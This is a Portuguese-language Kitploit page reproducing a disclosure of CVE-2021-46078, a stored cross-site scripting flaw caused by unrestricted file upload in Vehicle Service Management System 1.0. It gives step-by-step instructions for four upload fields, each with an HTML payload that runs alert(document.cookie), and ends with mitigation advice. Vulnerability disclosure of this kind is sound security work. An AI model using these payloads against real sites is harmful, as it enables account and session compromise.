Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting — CVE-2021-46078 - Existe uma vulnerabilidade de Upload de Arquivo Irrestrito no Sourcecodester Vehicle Service Management System 1.0. Um invasor remoto pode fazer upload de arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting Armazenado. | Kitploit
Ferramentas/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting

CVE-2021-46078 - Existe uma vulnerabilidade de Upload de Arquivo Irrestrito no Sourcecodester Vehicle Service Management System 1.0. Um invasor remoto pode fazer upload de arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting Armazenado.

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-46078

Título do Exploit: Vehicle Service Management System - Upload Múltiplo de Arquivos Leva a Cross-Site Scripting Armazenado

Autor do Exploit: SANU P.L

CVE: CVE-2021-46078

CVSS: 4.8 MEDIUM

Referências:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46078
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46078

Descrição:

Existe uma vulnerabilidade de Upload de Arquivo Irrestrito no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode fazer upload de arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting Armazenado.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código html acima como Ex:XSS.html
  2. Na seção Minha Conta, insira todos os detalhes necessários e selecione o arquivo html no campo Avatar.
  3. Clique no botão Atualizar.
  4. Abra a imagem do avatar em uma nova aba.
  5. O código javascript malicioso é acionado.

2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção Lista de Usuários e clique no botão Criar Novo.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código html acima como Ex:XSS.html
  2. Na página Criar Novo Usuário, insira todos os detalhes necessários e selecione o arquivo html no campo Avatar.
  3. Clique no botão Salvar.
  4. Abra a imagem do avatar em uma nova aba.
  5. O código javascript malicioso é acionado.

3. Vehicle Service Management System - 'Configurações - Logotipo do Sistema' (/admin/?page=system_info)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código html acima como Ex:XSS.html
  2. Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html no campo Logotipo do Sistema.
  3. Clique no botão Atualizar.
  4. Abra a imagem do Logotipo do Sistema em uma nova aba.
  5. O código javascript malicioso é acionado.

4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código html acima como Ex:XSS.html
  2. Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html no campo Capa do Site.
  3. Clique no botão Atualizar.
  4. Abra a imagem da Capa do Site em uma nova aba.
  5. O código javascript malicioso é acionado.

Impacto:

Um atacante pode fazer upload de arquivos maliciosos em múltiplos endpoints, o que leva a Cross-Site Scripting Armazenado.

Mitigação:

Recomenda-se implementar o seguinte:

  • Nunca aceitar um nome de arquivo e sua extensão diretamente sem um filtro de lista branca.
  • Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
  • Limitar o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
  • O diretório de upload não deve ter nenhuma permissão de "execução".
  • Não confiar apenas na validação do lado do cliente.
Baixar ferramenta